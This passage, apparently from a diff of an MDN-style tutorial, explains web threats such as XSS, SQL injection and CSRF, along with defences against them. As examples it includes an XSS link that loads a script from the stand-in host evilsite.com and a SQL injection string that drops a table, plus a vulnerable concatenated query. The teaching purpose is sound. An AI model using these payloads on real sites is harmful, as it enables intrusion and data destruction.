+<ul>
+ <li>A <em>reflected</em> XSS vulnerability occurs when user content that is passed to the server is returned <em>immediately</em> and <em>unmodified</em> for display in the browser — any scripts in the original user content will be run when the new page is loaded!<br>
+  For example, consider a site search function where the search terms are encoded as URL parameters, and these terms are displayed along with the results. An attacker can construct a search link containing a malicious script as a parameter (e.g. <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt;</code>) and email it to another user. If the target user clicks this "interesting link", the script will be executed when the search results are displayed. As discussed above, this gives the attacker all the information they need to enter the site as the target user — potentially making purchases as the user or sharing their contact information.</li>
+ <li>A <em>persistent</em> XSS vulnerability is one where the malicious script is <em>stored</em> by the website and then later redisplayed unmodified for other users to unwittingly execute.<br>
+  For example, a discussion board that accepts comments containing unmodified HTML could store a malicious script from an attacker. When the comments are displayed the script is executed and can then send the attacker information required to access the user's account. This sort of attack is extremely popular and powerful, because the attacker doesn't have to have any direct engagement with the victims.<br>
+  <br>
+  While <code>POST</code> or <code>GET</code> data is the most common source of XSS vulnerabilities, any data from the browser is potentially vulnerable (including cookie data rendered by the browser, or user files that are uploaded and displayed).</li>
+</ul>
+
+<p>The best defence against XSS vulnerabilities is to remove or disable any markup that can potentially contain instructions to run code. For HTML this includes tags like <code>&lt;script&gt;</code>, <code>&lt;object&gt;</code>, <code>&lt;embed&gt;</code>, and <code>&lt;link&gt;</code>.</p>
+
+<div>
+<p>The process of modifying user data so that it can't be used to run scripts or otherwise affect the execution of server code is known as input sanitization. Many web frameworks automatically sanitize user input from HTML forms by default.</p>
+</div>
+
+<h3 id="SQL_injection">SQL injection</h3>
+
+<p>SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified or deleted irrespective of the user's permissions. A successful injection attack might spoof identities, create new identities with administration rights, access all data on the server, or destroy/modify the data to make it unusable.</p>
+
+<p>This vulnerability is present if user input that is passed to an underlying SQL statement can change the meaning of the statement. For example, consider the code below, which is intended to list all users with a particular name (<code>userName</code>) that has been supplied from an HTML form:</p>
+
+<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre>
+
+<p>If the user enters a real name, this will work as intended. However a malicious user could completely change the behaviour of this SQL statement to the new statement below, simply by specifying the "<strong>bold</strong>" text below for the <code>userName</code>. The modified statement creates a valid SQL statement that deletes the <code>users</code> table and selects all data from the <code>userinfo</code> table (revealing the information of every user). This works because the first part of the injected text (<code>a';</code>) completes the original statement (' is the symbol to deliniate a string literal in SQL).</p>
+
+<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't'</strong>;
+</pre>
+
+<p>The way to avoid this sort of attack is to ensure that any user data that is passed to an SQL query cannot change the nature of the query. One way to do this is to <a href="https://en.wikipedia.org/wiki/Escape_character">escape</a> all the characters in the user input that have a special meaning in SQL.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The SQL statement treats the ' character as the beginning and end of a string literal. By putting a backslash in front we "escape" the symbol (\'), and tell SQL to instead treat it as a character (just part of the string).</p>
+</div>
+
+<p>In the statement below we escape the ' character. The SQL will now interpret the name as the whole string shown in bold (a very odd name indeed, but not harmful!)</p>
+
+<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>;
+
+</pre>
+
+<p>Web frameworks will often take care of this escaping for you. Django, for example, ensures that any user-data passed to querysets (model queries) is escaped.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This section draws heavily on the information in <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia here</a>.</p>
+</div>
+
+<h3 id="Cross_Site_Request_Forgery_(CSRF)">Cross Site Request Forgery (CSRF)</h3>
+
+<p>CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent.</p>
+
+<p>This type of attack is best explained by example. John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP <code>POST</code> request that includes the account name and an amount. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the <em>Submit</em> button disguised as a link to a "get rich quick" site).</p>
+
+<p>If a user clicks the submit button, an HTTP <code>POST</code> request will be sent to the server containing the transaction details and <em>any client-side cookies that the browser associates with the site</em> (adding associated site cookies to requests is normal browser behaviour). The server will check the cookies, and use them to determine whether or not the user is logged in and has permission to make the transaction.</p>
+
+<p>The result is that a<span style="line-height: 1.5;">ny user who clicks the <em>Submit</em> button while they are logged in to the trading site will make the transaction. John gets rich!</span></p>
+
+<div class="note">
+<p><strong>Note</strong>: The trick here is that John doesn't need to have access to the user's cookies (or access credentials) — the user's browser stores this information, and automatically includes it in all requests to the associated server.</p>
+</div>
+
+<p>One way to prevent this type of attack is for the server to require that <code>POST</code> requests includes a user-specific site-generated secret (the secret would be supplied by the server when sending the web form used to make transfers). This approach prevents John from creating his own form because he would have to know the secret that the server is providing for the user. Even if he found out the secret and created a form for a particular user, he would no longer be able to use that same form to attack every user.</p>
+
+<p>Web frameworks often include such CSRF prevention mechanisms.</p>
+
+<h3 id="Other_threats">Other threats</h3>
+
+<p>Other common attacks/vulnerabilities include:</p>
+
+<ul>
+ <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials into an invisible {{htmlelement("iframe")}} controlled by the attacker. It could alternatively be used to get the user to click a button on a visible site, but in doing so actually unwittingly click a completely different button. As a defence your site can prevent itself from being embedded in an iframe in another site by setting appropriate HTTP headers.</li>
+ <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS is usually achieved by flooding a target site with spurious requests so that access to a site is disrupted for legitimate users. The requests may simply be numerous, or they may individually consume large amounts of resource (e.g. slow reads, uploading of large files, etc.) DoS defences usually work by identifying and blocking "bad" traffic while allowing legitimate messages through. These defences are typically within or before the web server (they are not part of the web application itself).</li>
+ <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Directory Traversal</a>/File and disclosure. In this type of attack a malicious user attempts to access parts of the web server file system that they should not be able to access. This vulnerability occurs when the user is able to pass filenames that include file system navigation characters (e.g. <code>../../</code>). The solution is to sanitize input before using it.</li>
+ <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">File Inclusion</a>. In this attack a user is able to specify an "unintended" file for display or execution in data passed to the server. Once loaded this file might be executed on the web server or in the client-side (leading to an XSS attack). The solution is to sanitize input before using it.</li>
+ <li><a href="https://www.owasp.org/index.php/Command_Injection">Command Injection</a>. Command injection attacks allow a malicious user to execute arbitrary system commands on the host operating system. The solution is to sanitize user input before it might be used in system calls.</li>
+</ul>
+
+<p>There are many more. For a comprehensive listing see <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category:Web security exploits</a> (Wikipedia) and <a href="https://www.owasp.org/index.php/Category:Attack">Category:Attack</a> (Open Web Application Security Project).</p>
+
+<h2 id="A_few_key_messages">A few key messages</h2>
+
+<p>Almost all the exploits in the previous sections are successful when the web application trusts data from the browser. Whatever else you do to improve the security of your website, you should sanitize all user-originating data before it is displayed in the browser, used in SQL queries, or passed to an operating system or file system call.</p>
+
+<div class="warning">
+<p>Important: The single most important lesson you can learn about website security is to <strong>never trust data from the browser</strong>. This includes <code>GET</code> request data in URL parameters, <code>POST</code> data, HTTP headers and cookies, user-uploaded files, etc. Always check and sanitize all incoming data. Always assume the worst.</p>
+</div>
+
+<p>A number of other concrete steps you can take are:</p>
+
+<ul>
+ <li>Use more effective password management. Encourage strong passwords that are changed regularly. Consider two-factor authentication for your site, so that in addition to a password the user must enter another authentication code (usually one that is delivered via some physical hardware that only the user will have, such as a code in an SMS sent to their phone).</li>
+ <li>Configure your web server to use <a href="/en-US/docs/Glossary/https">HTTPS</a> and <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS encrypts data sent between your client and server. This ensures that login credentials, cookies, <code>POST</code> data and header information are all much less available to attackers.</li>
+ <li>Keep track of the most popular threats (the <a href="/en-US/docs/">current OWASP list is here</a>) and address the most common vulnerabilities first.</li>
+ <li>Use <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">vulnerability scanning tools</a> to perform automated security testing on your site (later on, your very successful website may also find bugs by offering a bug bounty <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">like Mozilla does here</a>).</li>
+ <li>Only store and display data that you need to. For example, if your users must store sensitive information like credit card details, only display enough of the card number that it can be identified by the user, and not enough that it can be copied by an attacker and used on another site. The most common pattern these days is to only display the last 4 digits of a credit card number.</li>
+</ul>
+
+<p>Web frameworks can help mitigate many of the more common vulnerabilities.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has explained the concept of web security and some of the more common threats that your website should attempt to protect against. Most importantly, you should understand that a web application cannot trust any data from the web browser! All user data should be sanitized before it is displayed, or used in SQL queries or file system calls.</p>
+
+<p>That's the end of <a href="/en-US/docs/Learn/Server-side/First_steps">this module</a>, covering your first steps in server-side website programming. We hope you've enjoyed learning the fundamental concepts, and you're now ready to select a Web Framework and start programming.</p>
+
+<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>